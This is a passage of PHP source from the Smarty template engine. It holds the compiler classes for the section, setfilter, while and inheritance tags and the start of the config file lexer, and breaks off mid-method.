     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array('name', 'loop');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('name', 'loop');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('start', 'step', 'max', 'show', 'properties');

    /**
     * counter
     *
     * @var int
     */
    public $counter = 0;

    /**
     * Name of this tag
     *
     * @var string
     */
    public $tagName = 'section';

    /**
     * Valid properties of $smarty.section.name.xxx variable
     *
     * @var array
     */
    public $nameProperties = array(
        'first', 'last', 'index', 'iteration', 'show', 'total', 'rownum', 'index_prev',
        'index_next', 'loop'
    );

    /**
     * {section} tag has no item properties
     *
     * @var array
     */
    public $itemProperties = null;

    /**
     * {section} tag has always name attribute
     *
     * @var bool
     */
    public $isNamed = true;

    /**
     * Compiles code for the {section} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $compiler->loopNesting++;
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        $attributes = array('name' => $compiler->getId($_attr[ 'name' ]));
        unset($_attr[ 'name' ]);
        foreach ($attributes as $a => $v) {
            if ($v === false) {
                $compiler->trigger_template_error("'{$a}' attribute/variable has illegal value", null, true);
            }
        }
        $local = "\$__section_{$attributes['name']}_" . $this->counter++ . '_';
        $sectionVar = "\$_smarty_tpl->tpl_vars['__smarty_section_{$attributes['name']}']";
        $this->openTag($compiler, 'section', array('section', $compiler->nocache, $local, $sectionVar));
        // maybe nocache because of nocache variables
        $compiler->nocache = $compiler->nocache | $compiler->tag_nocache;
        $initLocal = array();
        $initNamedProperty = array();
        $initFor = array();
        $incFor = array();
        $cmpFor = array();
        $propValue = array(
            'index'     => "{$sectionVar}->value['index']", 'show' => 'true', 'step' => 1,
            'iteration' => "{$local}iteration",
        );
        $propType = array('index' => 2, 'iteration' => 2, 'show' => 0, 'step' => 0,);
        // search for used tag attributes
        $this->scanForProperties($attributes, $compiler);
        if (!empty($this->matchResults[ 'named' ])) {
            $namedAttr = $this->matchResults[ 'named' ];
        }
        if (isset($_attr[ 'properties' ]) && preg_match_all("/['](.*?)[']/", $_attr[ 'properties' ], $match)) {
            foreach ($match[ 1 ] as $prop) {
                if (in_array($prop, $this->nameProperties)) {
                    $namedAttr[ $prop ] = true;
                } else {
                    $compiler->trigger_template_error("Invalid property '{$prop}'", null, true);
                }
            }
        }
        $namedAttr[ 'index' ] = true;
        $output = "<?php\n";
        foreach ($_attr as $attr_name => $attr_value) {
            switch ($attr_name) {
                case 'loop':
                    if (is_numeric($attr_value)) {
                        $v = (int)$attr_value;
                        $t = 0;
                    } else {
                        $v = "(is_array(@\$_loop=$attr_value) ? count(\$_loop) : max(0, (int) \$_loop))";
                        $t = 1;
                    }
                    if ($t === 1) {
                        $initLocal[ 'loop' ] = $v;
                        $v = "{$local}loop";
                    }
                    break;
                case 'show':
                    if (is_bool($attr_value)) {
                        $v = $attr_value ? 'true' : 'false';
                        $t = 0;
                    } else {
                        $v = "(bool) $attr_value";
                        $t = 3;
                    }
                    break;
                case 'step':
                    if (is_numeric($attr_value)) {
                        $v = (int)$attr_value;
                        $v = ($v === 0) ? 1 : $v;
                        $t = 0;
                        break;
                    }
                    $initLocal[ 'step' ] = "((int)@$attr_value) === 0 ? 1 : (int)@$attr_value";
                    $v = "{$local}step";
                    $t = 2;
                    break;
                case 'max':
                case 'start':
                    if (is_numeric($attr_value)) {
                        $v = (int)$attr_value;
                        $t = 0;
                        break;
                    }
                    $v = "(int)@$attr_value";
                    $t = 3;
                    break;
            }
            if ($t === 3 && $compiler->getId($attr_value)) {
                $t = 1;
            }
            $propValue[ $attr_name ] = $v;
            $propType[ $attr_name ] = $t;
        }
        if (isset($namedAttr[ 'step' ])) {
            $initNamedProperty[ 'step' ] = $propValue[ 'step' ];
        }
        if (isset($namedAttr[ 'iteration' ])) {
            $propValue[ 'iteration' ] = "{$sectionVar}->value['iteration']";
        }
        $incFor[ 'iteration' ] = "{$propValue['iteration']}++";
        $initFor[ 'iteration' ] = "{$propValue['iteration']} = 1";
        if ($propType[ 'step' ] === 0) {
            if ($propValue[ 'step' ] === 1) {
                $incFor[ 'index' ] = "{$sectionVar}->value['index']++";
            } elseif ($propValue[ 'step' ] > 1) {
                $incFor[ 'index' ] = "{$sectionVar}->value['index'] += {$propValue['step']}";
            } else {
                $incFor[ 'index' ] = "{$sectionVar}->value['index'] -= " . -$propValue[ 'step' ];
            }
        } else {
            $incFor[ 'index' ] = "{$sectionVar}->value['index'] += {$propValue['step']}";
        }
        if (!isset($propValue[ 'max' ])) {
            $propValue[ 'max' ] = $propValue[ 'loop' ];
            $propType[ 'max' ] = $propType[ 'loop' ];
        } elseif ($propType[ 'max' ] !== 0) {
            $propValue[ 'max' ] = "{$propValue['max']} < 0 ? {$propValue['loop']} : {$propValue['max']}";
            $propType[ 'max' ] = 1;
        } else {
            if ($propValue[ 'max' ] < 0) {
                $propValue[ 'max' ] = $propValue[ 'loop' ];
                $propType[ 'max' ] = $propType[ 'loop' ];
            }
        }
        if (!isset($propValue[ 'start' ])) {
            $start_code =
                array(1 => "{$propValue['step']} > 0 ? ", 2 => '0', 3 => ' : ', 4 => $propValue[ 'loop' ], 5 => ' - 1');
            if ($propType[ 'loop' ] === 0) {
                $start_code[ 5 ] = '';
                $start_code[ 4 ] = $propValue[ 'loop' ] - 1;
            }
            if ($propType[ 'step' ] === 0) {
                if ($propValue[ 'step' ] > 0) {
                    $start_code = array(1 => '0');
                    $propType[ 'start' ] = 0;
                } else {
                    $start_code[ 1 ] = $start_code[ 2 ] = $start_code[ 3 ] = '';
                    $propType[ 'start' ] = $propType[ 'loop' ];
                }
            } else {
                $propType[ 'start' ] = 1;
            }
            $propValue[ 'start' ] = join('', $start_code);
        } else {
            $start_code =
                array(
                    1  => "{$propValue['start']} < 0 ? ", 2 => 'max(', 3 => "{$propValue['step']} > 0 ? ", 4 => '0',
                    5  => ' : ', 6 => '-1', 7 => ', ', 8 => "{$propValue['start']} + {$propValue['loop']}", 10 => ')',
                    11 => ' : ', 12 => 'min(', 13 => $propValue[ 'start' ], 14 => ', ',
                    15 => "{$propValue['step']} > 0 ? ", 16 => $propValue[ 'loop' ], 17 => ' : ',
                    18 => $propType[ 'loop' ] === 0 ? $propValue[ 'loop' ] - 1 : "{$propValue['loop']} - 1",
                    19 => ')'
                );
            if ($propType[ 'step' ] === 0) {
                $start_code[ 3 ] = $start_code[ 5 ] = $start_code[ 15 ] = $start_code[ 17 ] = '';
                if ($propValue[ 'step' ] > 0) {
                    $start_code[ 6 ] = $start_code[ 18 ] = '';
                } else {
                    $start_code[ 4 ] = $start_code[ 16 ] = '';
                }
            }
            if ($propType[ 'start' ] === 0) {
                if ($propType[ 'loop' ] === 0) {
                    $start_code[ 8 ] = $propValue[ 'start' ] + $propValue[ 'loop' ];
                }
                $propType[ 'start' ] = $propType[ 'step' ] + $propType[ 'loop' ];
                $start_code[ 1 ] = '';
                if ($propValue[ 'start' ] < 0) {
                    for ($i = 11; $i <= 19; $i++) {
                        $start_code[ $i ] = '';
                    }
                    if ($propType[ 'start' ] === 0) {
                        $start_code = array(
                            max(
                                $propValue[ 'step' ] > 0 ? 0 : -1,
                                $propValue[ 'start' ] + $propValue[ 'loop' ]
                            )
                        );
                    }
                } else {
                    for ($i = 1; $i <= 11; $i++) {
                        $start_code[ $i ] = '';
                    }
                    if ($propType[ 'start' ] === 0) {
                        $start_code =
                            array(
                                min(
                                    $propValue[ 'step' ] > 0 ? $propValue[ 'loop' ] : $propValue[ 'loop' ] - 1,
                                    $propValue[ 'start' ]
                                )
                            );
                    }
                }
            }
            $propValue[ 'start' ] = join('', $start_code);
        }
        if ($propType[ 'start' ] !== 0) {
            $initLocal[ 'start' ] = $propValue[ 'start' ];
            $propValue[ 'start' ] = "{$local}start";
        }
        $initFor[ 'index' ] = "{$sectionVar}->value['index'] = {$propValue['start']}";
        if (!isset($_attr[ 'start' ]) && !isset($_attr[ 'step' ]) && !isset($_attr[ 'max' ])) {
            $propValue[ 'total' ] = $propValue[ 'loop' ];
            $propType[ 'total' ] = $propType[ 'loop' ];
        } else {
            $propType[ 'total' ] =
                $propType[ 'start' ] + $propType[ 'loop' ] + $propType[ 'step' ] + $propType[ 'max' ];
            if ($propType[ 'total' ] === 0) {
                $propValue[ 'total' ] =
                    min(
                        ceil(
                            ($propValue[ 'step' ] > 0 ? $propValue[ 'loop' ] - $propValue[ 'start' ] :
                                (int)$propValue[ 'start' ] + 1) / abs($propValue[ 'step' ])
                        ),
                        $propValue[ 'max' ]
                    );
            } else {
                $total_code = array(
                    1  => 'min(', 2 => 'ceil(', 3 => '(', 4 => "{$propValue['step']} > 0 ? ",
                    5  => $propValue[ 'loop' ], 6 => ' - ', 7 => $propValue[ 'start' ], 8 => ' : ',
                    9  => $propValue[ 'start' ], 10 => '+ 1', 11 => ')', 12 => '/ ', 13 => 'abs(',
                    14 => $propValue[ 'step' ], 15 => ')', 16 => ')', 17 => ", {$propValue['max']})",
                );
                if (!isset($propValue[ 'max' ])) {
                    $total_code[ 1 ] = $total_code[ 17 ] = '';
                }
                if ($propType[ 'loop' ] + $propType[ 'start' ] === 0) {
                    $total_code[ 5 ] = $propValue[ 'loop' ] - $propValue[ 'start' ];
                    $total_code[ 6 ] = $total_code[ 7 ] = '';
                }
                if ($propType[ 'start' ] === 0) {
                    $total_code[ 9 ] = (int)$propValue[ 'start' ] + 1;
                    $total_code[ 10 ] = '';
                }
                if ($propType[ 'step' ] === 0) {
                    $total_code[ 13 ] = $total_code[ 15 ] = '';
                    if ($propValue[ 'step' ] === 1 || $propValue[ 'step' ] === -1) {
                        $total_code[ 2 ] = $total_code[ 12 ] = $total_code[ 14 ] = $total_code[ 16 ] = '';
                    } elseif ($propValue[ 'step' ] < 0) {
                        $total_code[ 14 ] = -$propValue[ 'step' ];
                    }
                    $total_code[ 4 ] = '';
                    if ($propValue[ 'step' ] > 0) {
                        $total_code[ 8 ] = $total_code[ 9 ] = $total_code[ 10 ] = '';
                    } else {
                        $total_code[ 5 ] = $total_code[ 6 ] = $total_code[ 7 ] = $total_code[ 8 ] = '';
                    }
                }
                $propValue[ 'total' ] = join('', $total_code);
            }
        }
        if (isset($namedAttr[ 'loop' ])) {
            $initNamedProperty[ 'loop' ] = "'loop' => {$propValue['loop']}";
        }
        if (isset($namedAttr[ 'total' ])) {
            $initNamedProperty[ 'total' ] = "'total' => {$propValue['total']}";
            if ($propType[ 'total' ] > 0) {
                $propValue[ 'total' ] = "{$sectionVar}->value['total']";
            }
        } elseif ($propType[ 'total' ] > 0) {
            $initLocal[ 'total' ] = $propValue[ 'total' ];
            $propValue[ 'total' ] = "{$local}total";
        }
        $cmpFor[ 'iteration' ] = "{$propValue['iteration']} <= {$propValue['total']}";
        foreach ($initLocal as $key => $code) {
            $output .= "{$local}{$key} = {$code};\n";
        }
        $_vars = 'array(' . join(', ', $initNamedProperty) . ')';
        $output .= "{$sectionVar} = new Smarty_Variable({$_vars});\n";
        $cond_code = "{$propValue['total']} !== 0";
        if ($propType[ 'total' ] === 0) {
            if ($propValue[ 'total' ] === 0) {
                $cond_code = 'false';
            } else {
                $cond_code = 'true';
            }
        }
        if ($propType[ 'show' ] > 0) {
            $output .= "{$local}show = {$propValue['show']} ? {$cond_code} : false;\n";
            $output .= "if ({$local}show) {\n";
        } elseif ($propValue[ 'show' ] === 'true') {
            $output .= "if ({$cond_code}) {\n";
        } else {
            $output .= "if (false) {\n";
        }
        $jinit = join(', ', $initFor);
        $jcmp = join(', ', $cmpFor);
        $jinc = join(', ', $incFor);
        $output .= "for ({$jinit}; {$jcmp}; {$jinc}){\n";
        if (isset($namedAttr[ 'rownum' ])) {
            $output .= "{$sectionVar}->value['rownum'] = {$propValue['iteration']};\n";
        }
        if (isset($namedAttr[ 'index_prev' ])) {
            $output .= "{$sectionVar}->value['index_prev'] = {$propValue['index']} - {$propValue['step']};\n";
        }
        if (isset($namedAttr[ 'index_next' ])) {
            $output .= "{$sectionVar}->value['index_next'] = {$propValue['index']} + {$propValue['step']};\n";
        }
        if (isset($namedAttr[ 'first' ])) {
            $output .= "{$sectionVar}->value['first'] = ({$propValue['iteration']} === 1);\n";
        }
        if (isset($namedAttr[ 'last' ])) {
            $output .= "{$sectionVar}->value['last'] = ({$propValue['iteration']} === {$propValue['total']});\n";
        }
        $output .= '?>';
        return $output;
    }
}

/**
 * Smarty Internal Plugin Compile Sectionelse Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Sectionelse extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {sectionelse} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        list($openTag, $nocache, $local, $sectionVar) = $this->closeTag($compiler, array('section'));
        $this->openTag($compiler, 'sectionelse', array('sectionelse', $nocache, $local, $sectionVar));
        return "<?php }} else {\n ?>";
    }
}

/**
 * Smarty Internal Plugin Compile Sectionclose Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Sectionclose extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {/section} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $compiler->loopNesting--;
        // must endblock be nocache?
        if ($compiler->nocache) {
            $compiler->tag_nocache = true;
        }
        list($openTag, $compiler->nocache, $local, $sectionVar) =
            $this->closeTag($compiler, array('section', 'sectionelse'));
        $output = "<?php\n";
        if ($openTag === 'sectionelse') {
            $output .= "}\n";
        } else {
            $output .= "}\n}\n";
        }
        $output .= '?>';
        return $output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Setfilter
 * Compiles code for setfilter tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Setfilter Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Setfilter extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for setfilter tag
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        $compiler->variable_filter_stack[] = $compiler->variable_filters;
        $compiler->variable_filters = $parameter[ 'modifier_list' ];
        // this tag does not return compiled code
        $compiler->has_code = false;
        return true;
    }
}

/**
 * Smarty Internal Plugin Compile Setfilterclose Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Setfilterclose extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {/setfilter} tag
     * This tag does not generate compiled output. It resets variable filter.
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $_attr = $this->getAttributes($compiler, $args);
        // reset variable filter to previous state
        if (count($compiler->variable_filter_stack)) {
            $compiler->variable_filters = array_pop($compiler->variable_filter_stack);
        } else {
            $compiler->variable_filters = array();
        }
        // this tag does not return compiled code
        $compiler->has_code = false;
        return true;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Shared Inheritance
 * Shared methods for {extends} and {block} tags
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Shared Inheritance Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Shared_Inheritance extends Smarty_Internal_CompileBase
{
    /**
     * Compile inheritance initialization code as prefix
     *
     * @param \Smarty_Internal_TemplateCompilerBase $compiler
     * @param bool|false                            $initChildSequence if true force child template
     */
    public static function postCompile(Smarty_Internal_TemplateCompilerBase $compiler, $initChildSequence = false)
    {
        $compiler->prefixCompiledCode .= "<?php \$_smarty_tpl->_loadInheritance();\n\$_smarty_tpl->inheritance->init(\$_smarty_tpl, " .
                                         var_export($initChildSequence, true) . ");\n?>\n";
    }

    /**
     * Register post compile callback to compile inheritance initialization code
     *
     * @param \Smarty_Internal_TemplateCompilerBase $compiler
     * @param bool|false                            $initChildSequence if true force child template
     */
    public function registerInit(Smarty_Internal_TemplateCompilerBase $compiler, $initChildSequence = false)
    {
        if ($initChildSequence || !isset($compiler->_cache[ 'inheritanceInit' ])) {
            $compiler->registerPostCompileCallback(
                array('Smarty_Internal_Compile_Shared_Inheritance', 'postCompile'),
                array($initChildSequence),
                'inheritanceInit',
                $initChildSequence
            );
            $compiler->_cache[ 'inheritanceInit' ] = true;
        }
    }
}
<?php
/**
 * Smarty Internal Plugin Compile While
 * Compiles the {while} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile While Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_While extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {while} tag
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        $compiler->loopNesting++;
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        $this->openTag($compiler, 'while', $compiler->nocache);
        if (!array_key_exists('if condition', $parameter)) {
            $compiler->trigger_template_error('missing while condition', null, true);
        }
        // maybe nocache because of nocache variables
        $compiler->nocache = $compiler->nocache | $compiler->tag_nocache;
        if (is_array($parameter[ 'if condition' ])) {
            if ($compiler->nocache) {
                // create nocache var to make it know for further compiling
                if (is_array($parameter[ 'if condition' ][ 'var' ])) {
                    $var = $parameter[ 'if condition' ][ 'var' ][ 'var' ];
                } else {
                    $var = $parameter[ 'if condition' ][ 'var' ];
                }
                $compiler->setNocacheInVariable($var);
            }
            $prefixVar = $compiler->getNewPrefixVariable();
            $assignCompiler = new Smarty_Internal_Compile_Assign();
            $assignAttr = array();
            $assignAttr[][ 'value' ] = $prefixVar;
            if (is_array($parameter[ 'if condition' ][ 'var' ])) {
                $assignAttr[][ 'var' ] = $parameter[ 'if condition' ][ 'var' ][ 'var' ];
                $_output = "<?php while ({$prefixVar} = {$parameter[ 'if condition' ][ 'value' ]}) {?>";
                $_output .= $assignCompiler->compile(
                    $assignAttr,
                    $compiler,
                    array('smarty_internal_index' => $parameter[ 'if condition' ][ 'var' ][ 'smarty_internal_index' ])
                );
            } else {
                $assignAttr[][ 'var' ] = $parameter[ 'if condition' ][ 'var' ];
                $_output = "<?php while ({$prefixVar} = {$parameter[ 'if condition' ][ 'value' ]}) {?>";
                $_output .= $assignCompiler->compile($assignAttr, $compiler, array());
            }
            return $_output;
        } else {
            return "<?php\n while ({$parameter['if condition']}) {?>";
        }
    }
}

/**
 * Smarty Internal Plugin Compile Whileclose Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Whileclose extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {/while} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $compiler->loopNesting--;
        // must endblock be nocache?
        if ($compiler->nocache) {
            $compiler->tag_nocache = true;
        }
        $compiler->nocache = $this->closeTag($compiler, array('while'));
        return "<?php }?>\n";
    }
}
<?php
/**
 * Smarty Internal Plugin Configfilelexer
 *
 * This is the lexer to break the config file source into tokens
 *
 * @package    Smarty
 * @subpackage Config
 * @author     Uwe Tews
 */

/**
 * Smarty_Internal_Configfilelexer
 *
 * This is the config file lexer.
 * It is generated from the smarty_internal_configfilelexer.plex file
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */
class Smarty_Internal_Configfilelexer
{
    const START              = 1;
    const VALUE              = 2;
    const NAKED_STRING_VALUE = 3;
    const COMMENT            = 4;
    const SECTION            = 5;
    const TRIPPLE            = 6;

    /**
     * Source
     *
     * @var string
     */
    public $data;

    /**
     * Source length
     *
     * @var int
     */
    public $dataLength = null;

    /**
     * byte counter
     *
     * @var int
     */
    public $counter;

    /**
     * token number
     *
     * @var int
     */
    public $token;

    /**
     * token value
     *
     * @var string
     */
    public $value;

    /**
     * current line
     *
     * @var int
     */
    public $line;

    /**
     * state number
     *
     * @var int
     */
    public $state = 1;

    /**
     * Smarty object
     *
     * @var Smarty
     */
    public $smarty = null;

    /**
     * trace file
     *
     * @var resource
     */
    public $yyTraceFILE;

    /**
     * trace prompt
     *
     * @var string
     */
    public $yyTracePrompt;

    /**
     * state names
     *
     * @var array
     */
    public $state_name = array(
        1 => 'START', 2 => 'VALUE', 3 => 'NAKED_STRING_VALUE', 4 => 'COMMENT', 5 => 'SECTION', 6 => 'TRIPPLE'
    );

    /**
     * token names
     *
     * @var array
     */
    public $smarty_token_names = array(        // Text for parser error messages
    );

    /**
     * compiler object
     *
     * @var Smarty_Internal_Config_File_Compiler
     */
    private $compiler = null;

    /**
     * copy of config_booleanize
     *
     * @var bool
     */
    private $configBooleanize = false;

    /**
     * storage for assembled token patterns
     *
     * @var string
     */
    private $yy_global_pattern1 = null;

    private $yy_global_pattern2 = null;

    private $yy_global_pattern3 = null;

    private $yy_global_pattern4 = null;

    private $yy_global_pattern5 = null;

    private $yy_global_pattern6 = null;

    private $_yy_state          = 1;

    private $_yy_stack          = array();

    /**
     * constructor
     *
     * @param   string                             $data template source
     * @param Smarty_Internal_Config_File_Compiler $compiler
     */
    public function __construct($data, Smarty_Internal_Config_File_Compiler $compiler)
    {
        $this->data = $data . "\n"; //now all lines are \n-terminated
        $this->dataLength = strlen($data);
        $this->counter = 0;
        if (preg_match('/^\xEF\xBB\xBF/', $this->data, $match)) {
            $this->counter += strlen($match[ 0 ]);
        }
        $this->line = 1;
        $this->compiler = $compiler;
        $this->smarty = $compiler->smarty;
        $this->configBooleanize = $this->smarty->config_booleanize;
    }

    public function replace($input)
    {
        return $input;
    } // end function

    public function PrintTrace()
    {
        $this->yyTraceFILE = fopen('php://output', 'w');
        $this->yyTracePrompt = '<br>';
    }

    public function yylex()
    {
        return $this->{'yylex' . $this->_yy_state}();
    }

    public function yypushstate($state)
    {
        if ($this->yyTraceFILE) {
            fprintf(
                $this->yyTraceFILE,
                "%sState push %s\n",
                $this->yyTracePrompt,
                isset($this->state_name[ $this->_yy_state ]) ? $this->state_name[ $this->_yy_state ] : $this->_yy_state
            );
        }
        array_push($this->_yy_stack, $this->_yy_state);
        $this->_yy_state = $state;
        if ($this->yyTraceFILE) {
            fprintf(
                $this->yyTraceFILE,
                "%snew State %s\n",
                $this->yyTracePrompt,
                isset($this->state_name[ $this->_yy_state ]) ? $this->state_name[ $this->_yy_state ] : $this->_yy_state
            );
        }
    }

    public function yypopstate()
    {
        if ($this->yyTraceFILE) {
            fprintf(
                $this->yyTraceFILE,
                "%sState pop %s\n",
                $this->yyTracePrompt,
                isset($this->state_name[ $this->_yy_state ]) ? $this->state_name[ $this->_yy_state ] : $this->_yy_state
            );
        }
        $this->_yy_state = array_pop($this->_yy_stack);
        if ($this->yyTraceFILE) {
            fprintf(
                $this->yyTraceFILE,
                "%snew State %s\n",
                $this->yyTracePrompt,
                isset($this->state_name[ $this->_yy_state ]) ? $this->state_name[ $this->_yy_state ] : $this->_yy_state
            );
        }
    }

    public function yybegin($state)
    {
        $this->_yy_state = $state;
        if ($this->yyTraceFILE) {
            fprintf(
                $this->yyTraceFILE,
                "%sState set %s\n",
                $this->yyTracePrompt,
                isset($this->state_name[ $this->_yy_state ]) ? $this->state_name[ $this->_yy_state ] : $this->_yy_state
            );
        }
    }

    public function yylex1()
    {
        if (!isset($this->yy_global_pattern1)) {
            $this->yy_global_pattern1 =
                $this->replace("/\G(#|;)|\G(\\[)|\G(\\])|\G(=)|\G([ \t\r]+)|\G(\n)|\G([0-9]*[a-zA-Z_]\\w*)|\G([\S\s])/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >= $this->dataLength) {
            return false; // end of input
        }
        do {
            if (preg_match($this->yy_global_pattern1, $this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][ 1 ])) {
                    $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                                        ' an empty string.  Input "' . substr(
                                            $this->data,
                                            $this->counter,
                                            5
                                        ) . '... state START');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r1_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >= $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }
            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                                    ': ' . $this->data[ $this->counter ]);
            }
            break;
        } while (true);
    }

    public function yy_r1_1()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_COMMENTSTART;
        $this->yypushstate(self::COMMENT);
    }

    public function yy_r1_2()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_OPENB;
        $this->yypushstate(self::SECTION);
    }

    public function yy_r1_3()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_CLOSEB;
    }

    public function yy_r1_4()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_EQUAL;
        $this->yypushstate(self::VALUE);
    } // end function

    public function yy_r1_5()
    {
        return false;
    }

    public function yy_r1_6()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_NEWLINE;
    }

    public function yy_r1_7()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_ID;
    }

    public function yy_r1_8()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_OTHER;
    }

    public function yylex2()
    {
        if (!isset($this->yy_global_pattern2)) {
            $this->yy_global_pattern2 =
                $this->replace("/\G([ \t\r]+)|\G(\\d+\\.\\d+(?=[ \t\r]*[\n#;]))|\G(\\d+(?=[ \t\r]*[\n#;]))|\G(\"\"\")|\G('[^'\\\\]*(?:\\\\.[^'\\\\]*)*'(?=[ \t\r]*[\n#;]))|\G(\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"(?=[ \t\r]*[\n#;]))|\G([a-zA-Z]+(?=[ \t\r]*[\n#;]))|\G([^\n]+?(?=[ \t\r]*\n))|\G(\n)/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >= $this->dataLength) {
            return false; // end of input
        }
        do {
            if (preg_match($this->yy_global_pattern2, $this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][ 1 ])) {
                    $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                                        ' an empty string.  Input "' . substr(
                                            $this->data,
                                            $this->counter,
                                            5
                                        ) . '... state VALUE');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r2_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >= $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }
            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                                    ': ' . $this->data[ $this->counter ]);
            }
            break;
        } while (true);
    }

    public function yy_r2_1()
    {
        return false;
    }

    public function yy_r2_2()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_FLOAT;
        $this->yypopstate();
    }

    public function yy_r2_3()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_INT;
        $this->yypopstate();
    }

    public function yy_r2_4()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_TRIPPLE_QUOTES;
        $this->yypushstate(self::TRIPPLE);
    }

    public function yy_r2_5()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_SINGLE_QUOTED_STRING;
        $this->yypopstate();
    }

    public function yy_r2_6()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_DOUBLE_QUOTED_STRING;
        $this->yypopstate();
    } // end function

    public function yy_r2_7()
    {
        if (!$this->configBooleanize ||
